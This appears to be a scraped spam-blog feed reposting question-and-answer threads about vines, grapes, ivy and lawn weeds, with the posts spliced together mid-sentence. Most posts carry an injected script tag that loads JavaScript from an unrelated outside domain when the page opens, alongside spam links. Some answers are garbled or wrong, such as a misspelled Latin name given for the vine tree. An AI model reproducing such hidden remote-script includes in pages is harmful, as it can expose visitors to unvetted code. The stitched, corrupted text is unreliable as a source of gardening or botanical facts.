It is presently in my basement drying to be bottled in about a week or two. Anyway, as a native flower of North America (so far as I ama ware) I was wondering if anyone might know of any folk-lore and mythology (probably Amer-Indian) surrounding this particular herb. I am also curious whether or not there happens to be American-influenced Santeria or Voodoo/Hoodoo herb-lore surrounding this plant as well. Extra browny points for anyone that sites their sources (the more reputible the better!). Thanks!<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Trumpet Vine [Campsis radicans] Lore?<br>There isn't much. Oddly enough, it isn't mentioned in my book about wildflowers of Texas, and yet it grows wild all over the place here. Perhaps the doctrine of signatures would be useful. The plant grabs onto whatever it can, and grows and keeps growing. It was used to cover out-houses for women who lived in the country who thought that outhouses were something they'd rather not look at. You can take a cutting and just stick it in the dirt and it will take off. It will crawl over buildings, fences, telephone poles, etc. The country people out here in Texas would let trumpetvine and honeysuckle grow but would pull up grass out of their yards and have just dirt yards. (???) <br><br /><br /><br><br /><br />If you have sensitive skin, it might make you itchy. If you pick it and dry it, I'd advise looking inside the flowers for bugs and spiders, since they love to hide in there.<br><br /><br /><br><br /><br />I did find this, but they listed no sources for this info...<br><br /><br /><br><br /><br />Trumpet Vine - For vitality and expressiveness in verbal<br><br /><br />communication, overcoming lifelessness or lack of soul force in expression.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://shoe.imwebhost.com/rubber-slippers/>Rubber Slippers</a>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-52723309418915351772011-11-18T01:12:00.001-08:002011-11-18T01:12:22.857-08:00Trumpet vine question?Can I plant the seeds that grow on the trumpet vine this time of the year and have new plants come up next year from them?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Trumpet vine question?<br>yes.yes<br>Reply:I would recommend that you start them indoors around February so when the last frost day in your area arrives they will be ready to plant outside<br>Reply:NO! do not plant these vines as they are a terrible 'weed' that is almost impossible to eradicate.Ordinary brush spray that is designed to kill woody vines won't touch them.

This vine clings to any structure without harming it. It blooms starting around the middle of summer and continues into Fall. It does lose its leaves in winter and looks a bit scraggly. You can prune it to keep it in shape or just let it sprawl. It can reach 30-40 feet. Silver lace vine is not particular about soil but likes it moist. It is very beautiful and well worth planting. Good luck!<br>Reply:this plant, though pretty to look at, is considered a noxious and invasive weed in most areas where it is hardy. be careful or it could overtake your yard in a few years. check with your local horticulture authority before you purchase or plant it.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://austen-get-well-flowers.blogspot.com/>get well flowers</a>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-9901151573343345312011-11-18T01:11:00.001-08:002011-11-18T01:11:18.604-08:00I have a Blue Concord grape vine & first week in July most the green grapes fell to the ground.

Many of the grapes ripen and fall off very early and small. I inherited the vine and know very little about what is required to keep it in top shape. Are there basic things i should be aware of ? Thanks.<br><br /><br /><br><br /><br />Adrian Higgins: Grapes benefit from thinning. You don't need to thin every berry cluster, but remove entire bunches at flowering time or shortly afterwards. The ones that remain will be larger. I would also spray it with a copper fungicide against mildew and rot.<br><br /><br /><br><br /><br />_______________________<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-14376017884492647312011-11-18T01:11:00.000-08:002011-11-18T01:11:02.693-08:00Grape vine problem?i have a grape vine for a few years but the grapes that it produces are never turning purple and they are hard what should i do<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Grape vine problem?<br>Need to amend soil around roots, fertilize, water properly, Google grape vine growing, and hope for good weather.<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-580186242549636172011-11-18T01:10:00.002-08:002011-11-18T01:10:47.413-08:00Red Vine's or Twizzler's?I had never had Twizzler's until this Halloween.

There is probably no easy answer particularly if you don't want to use chemicals. Dig it up, throw it away, turn over the patches of open lawn, put down some topsoil, lots of grass seed, overlay it with straw and water it. Hopefully, with the right weather, you will get grass to come up and get rooted before the winter weather sets in. If the grass gets a good healthy start it will outgrow your weeds. Good luck. (I don't care what the water conservationists say, my grass died from the drought and I will be out there with you trying to get grass growing, even though we are now well flooded, my grass has major dead areas and crab grass and chick weed and plantains etc are just taking over.)<br>Reply:Rips all that stuff up and plant real grass.<br>Reply:If the leaves look like a spade on a playing card that is not chickweed, that is called Buckwheat and is going to be very tough to remove, since the roots go on forever. They have a small white flower.<br>Reply:I have been fighting chjckweed for 30 yrs. The best way is pull it up or dig it out. Do not let it go to seed. I'm winning the battle. There is an old saying that says, "One year's seeds, seven year's weeds." So don't let it go to seed. I've tried weed killers without much sucess.<br>Reply:When in doubt use round up it will kill anything.Some weeds have a real bad root system,those sometimes need all areas dug up and replaced with good dirt.I am currently fighting two types of weeds that were killed last year and came back.<br>Reply:There is grass seed that you can purchse that will help the lawn, while getting rid of crabgrass and other weed like things.

So you are unlikely to find it on a cheaper guitar.<br>Reply:Ibanez and Paul Reed Smith guitars are the only ones I know of that have the vine inlays on them, without going custum. I'm guessing that you are in the UK. I know that here in the states there is a company called warmoth that sells necks. They also sell custom stuff as well. The Jem series has been out quite a while so you shouldn't have any problem finding one in a second hand store. Either way, good luck.<br>Reply:I don't think many cheaper guitars will have that. You could try a second hand PRS.<br><br /><br /><br><br /><br />But maybe just buying a guitar for sound and playability would be a better use of your money.<br>Reply:It's got to be a PRS mate!<br><br /><br /><br><br /><br />But I'd worry more about the tone rather than what it looks like – unless you think the vine inlay would really inspire you!<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><a href=http://ford-flowers-anniversary.blogspot.com/>flowers anniversary</a>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-71162344787757078722011-11-18T01:07:00.002-08:002011-11-18T01:07:35.140-08:00<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-57700557918266526012011-11-18T01:07:00.001-08:002011-11-18T01:07:19.004-08:00<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-82769473863571188922011-11-18T01:07:00.000-08:002011-11-18T01:07:03.172-08:00Vine Wood . . Genus???I got this question to do on a holiday assignment and the tree I got given was a Vine Tree.<br><br /><br /><br><br /><br />"Identify which genus this wood belongs to"<br><br /><br /><br><br /><br />Only I don't get what the question means, so I don't know the answer, and I can't ask my teacher cause I'm on holidays.<br><br /><br /><br><br /><br />My parents don't know either of course. Can anyone help???<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Vine Wood . . Genus???<br>Jeez, this took some research. I'm a plant fanatic, so I enjoyed it though.<br><br /><br /><br><br /><br />Check out the link that follows. It's the only "vine tree" I could find that didn't refer to grapes in one way or another. <br><br /><br /><br><br /><br />http://ajh-knives.com/xylo-3.html<br><br /><br /><br><br /><br />Scroll all the way to the bottom and you'll find it.<br><br /><br /><br><br /><br />I hope this is what your teacher is looking for! I exhausted all my gardening websites, and found a bunch more, before I was able to run this down. So thanks for asking the question - you actually did me a favor!<br>Reply:"Genus" is a class, kind, or group marked by common characteristics or by one common characteristic; specifically : a category of biological classification ranking between the family and the species, comprising structurally or phylogenetically related species or an isolated species exhibiting unusual differentiation, and being designated by a Latin or latinized capitalized singular noun.<br><br /><br /><br><br /><br />The "Genus" for the Vine Tree is "Ventilator". So the Latin name for Vine Tree is Ventilator virginals. <br><br /><br /><br><br /><br />Ventilator virginals, commonly known as Supple jack or Vine Tree, is tree native to Northern and Central Australia from coastal regions of Queensland to the central deserts of the Northern Territory.<br><br /><br /><br><br /><br />The plant begins life as a scrambler, using other trees, shrubs and evens grasses for support. As it ages the stem becomes increasingly woody and the plant eventually develops a growth form more typical of a tree. The tree can reach 10 metres in height. Leaves are pendulous, grey-green and lanceolate. Flowers are green to green-white. Flowering season varies depending on rainfall.<br><br /><br /><br><br /><br />Australian Aborigines eat the gum from this tree. They scrape it off as it comes through, twisting it onto a stick. It can be chewed like chewing gum. The supplejack in Arrernte is called Atnyerampwe, and the gum is Ngwarle atnyerampwe.<br><br /><br /><br><br /><br />Good Luck!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-61526613460659130162011-11-18T01:06:00.002-08:002011-11-18T01:06:48.385-08:00Vine Leaves?Im cooking for a lady on Saturday night. I want to make stuffed Vine Leaves from scratch but so far I cant find anywhere that sells the leaves on their own. Can anyone point me towards somewhere that sells them?<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower2.js type=text/javascript></script><br>Vine Leaves?<br>Most supermarkets sell them, but try the nearest Asian or Middle Eastern shop. I usually buy them vacuum packed, they look flat in the shop but there are loads in each pack<br>Reply:You can buy them fresh from your local Asian grocery store. They will be with the fresh vegetables, green in colour and wrapped in clingfilm.<br>Reply:If you go to an Asian / Chinese shop you will find them in a flat pack with brine / vingegar. They have a long shelf life and are delicious if you follow the instructions on how to rinse off the brine.<br>Reply:You may get them in tins from a specialist grocer<br>Reply:You may be able to adjust the recipe if you are unable to get vine leaves by using blanched inner cabbage leaves<br>Reply:They have them in my local shop-tinned. If not,try spinach leaves!<br>Reply:instedt of vineleaves , try spinach, its nice too and has loots of vitamin d in it, but you can ask in a greek shop they might have vineleaves. good luck with it.<br>Reply:try holland and barett (health food shops they might have them) good luck<br>Reply:Other than going to your local vine yard you'll have to used the stuffed ones!<br>Reply:The leaves you are looking for are grape leaves. You can get them in the canned food departments.

Is there any Ivy or vine that will grow in shade or not much sunlight %26amp; won't ruin the brick (as I understand ivy can have a substance that breaks down brick).<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower1.js type=text/javascript></script><br>Vine or Ivy that doesn't destroy brick?<br>English Ivy does grow well on brick but it is the worse for breaking apart a brick wall. Its tendrils (not a chemical) work their way into cracks and then expand, breaking apart the mortar %26amp; brick. Try Boston Ivy. It only attaches to the brick's surface via hold fasts, not in the cracks with tendrils like English Ivy. Boston Ivy is the same Ivy growing on the outfield brick wall at Wrigley Park, home of the Chicago Cubs. 200 Boston Ivy plants where planted on that brick wall at Wrigley Field back in 1937 and the wall stands today untouched.<br>Reply:Either English Ivy or Swedish Ivy will grow well on brick. I once bought a brick home that had ivy growing on the brick when I bought it, but that was many years ago %26amp; I can't recall the name of the ivy. There was no evidence of the ivy breaking down the brick/mortar when I bought it.<br>Reply:The chemicals in the vines are not the issue. Vines and particularly ivy have very persistant and strong root tendrils.<br><br /><br />They will exploit any small crack between the brick and the mortar. water gets in then freezes, causing cracks to widen and vines work in further.<br><br /><br />Just like having ivey on oak or maple trees, it may look good but you are slowly killing the tree. Likewise with your brick. If you want to keep your house in as good condition and miantence free, keep the ivy and vines off the house. Period.<br>Reply:No. Eventually any type of ivy will wear the brick down. If you absolutely have to have it, consider installing a trellis next to the house so it grows on that instead of the brick. I had a 40 ft. neighbor's pine tree fall on my house because ivy grew all over the trunk and eventually killed the tree so that it could no longer support its own weight. <br><br /><br />Regular english ivy will grow in sun or shade.<br>Reply:BOUGAINVILLEA'S<br><script language=JavaScript src=http://www.chinese-kungfu.org/flower3.js type=text/javascript></script><br><br>FIONAhttp://www.blogger.com/profile/05289268519562767033noreply@blogger.com0tag:blogger.com,1999:blog-8562798413785487262.post-70239102079782472832011-11-18T01:06:00.000-08:002011-11-18T01:06:15.497-08:00Vine shoots?I need some vine shoots to burn as BBQ fire,They are great for BBQ.
